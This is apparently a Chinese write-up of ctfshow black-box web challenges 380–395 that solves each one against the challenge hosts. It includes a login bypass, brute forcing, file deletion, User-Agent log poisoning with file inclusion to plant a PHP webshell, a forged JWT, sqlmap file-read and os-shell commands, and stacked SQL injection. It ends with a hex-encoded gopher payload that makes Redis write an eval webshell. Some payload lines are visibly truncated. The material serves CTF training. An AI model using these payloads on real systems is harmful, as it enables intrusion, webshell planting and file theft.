CTFSHOW黑盒测试篇

文章目录

    • web380
    • web381
    • web382、383
    • web384
    • web385
    • web386
    • web387
    • 388
    • web389
    • web390
    • web391
    • web392
    • web393
    • web394、395
        • 非预期解1
        • 非预期解2

web380

payload
后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。
page.php?id=flag

web381

payload
CTFSHOW黑盒测试篇_第1张图片
地址在源码里面
CTFSHOW黑盒测试篇_第2张图片

web382、383

还是上面的地址,万能密码登录得到flag
CTFSHOW黑盒测试篇_第3张图片

web384

字典生成

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\n")
f.close()

登录的时候抓包爆破
CTFSHOW黑盒测试篇_第4张图片
CTFSHOW黑盒测试篇_第5张图片
几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123

web385

扫描后台得到/install
在这里插入图片描述
按照他说的访问install/?install
然后再去登录,如果大家上面题目用sql注入注出用户名密码会发现是admin admin888
登录就能得到flag了

web386

通过扫描后台发现clear.php和install
访问install
CTFSHOW黑盒测试篇_第6张图片
访问clear.php直接显示清理完成
盲猜一波file参数,删个index.php试试

在这里插入图片描述
哎呦还真可以
CTFSHOW黑盒测试篇_第7张图片
那直接把lock.dat删了,lock.dat在linstall下
在这里插入图片描述
剩下的就是上一题的重复了。
访问install/?install初始化账号密码
然后admin admin888登录

web387

接着扫描后台发现/debug,访问提示file not exit,那我们给他一个参数
CTFSHOW黑盒测试篇_第8张图片
存在文件包含,尝试包含日志,发现可以成功file=/var/log/nginx/access.log
CTFSHOW黑盒测试篇_第9张图片
那直接在UA里面写一句话就可以了,然后再包含日志
CTFSHOW黑盒测试篇_第10张图片
发现没成功,但是在源码里面看到如下内容,也就是传的参数没有被结束
在这里插入图片描述
那我们直接利用php吧dat文件删除是不是就可以了。
写入如下内容

 unlink('/var/www/html/install/lock.dat')?>

然后再去访问install/?install,发现确实成功了。
CTFSHOW黑盒测试篇_第11张图片
剩下的就是登录拿flag了。。

388

非预期解,可以写日志但是做了一些限制,所以绕过就好了。
payload:

import requests
import base64
url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"
url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b""
cmd=base64.b64encode(cmd).decode()
headers={
     
	'User-Agent':''' /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={
     '1':'system("cat alsckdfy/check.php");'}).text)

预期解参考视频https://www.bilibili.com/video/BV16A411W7GP

web389

在上题的基础上整了个jwt伪造
类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737
然后将得到的jwt串放到脚本中

import requests
import base64
url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"
url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b""
cmd=base64.b64encode(cmd).decode()
headers={
     
	'User-Agent':''' /var/www/html/b.php');?>'''.format(cmd),
	'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={
     '1':'system("cat alsckdfy/check.php");'},headers=headers).text)

web390

在page.php页面存在sql注入
sqlmap一句话搞定
python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
在这里插入图片描述

web391

注入点不在page.php了,在输入标题的地方(随便点个页面就能看到)
CTFSHOW黑盒测试篇_第12张图片
继续sqlmap
python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392

flag在/flag
python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell
CTFSHOW黑盒测试篇_第13张图片
在这里插入图片描述

web393

还是先用原来的方法直接进到shell里面,发下不行,读文件也不行,然后试了下–sql-shell可以成功。
但是也是无法使用load_file 和outfile。那我们看下和上个题的界面有哪些不同。
在最后面发现有个搜索引擎
在这里插入图片描述
随便访问一个发现其实是读取的百度的前端代码。那么如果把地址改成file:///flag,或者自己再添加一个url是不是就可以了。
先利用sqlmap跑出来数据库的表名列名
CTFSHOW黑盒测试篇_第14张图片
CTFSHOW黑盒测试篇_第15张图片
payload:
search.php?title=1';insert into link values(10,'a','file:///flag');(在search.php页面存在堆叠注入)
然后访问link.php?id=10就能得到flag

web394、395

非预期解1

直接读flag,flag在alsckdfy/check.php中,在上题的基础上过滤了一些字符,但是可以用16进制绕过。

payload:
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870); 16进制为file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10

非预期解2

攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:
search.php?title=1';alter table link modify column url text;
然后就可以打相应的服务了。具体可以参考ssrf篇的360。
发下我的payload吧
search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11就会生成abc.php 密码是1

你可能感兴趣的:(CTFSHOW黑盒测试篇)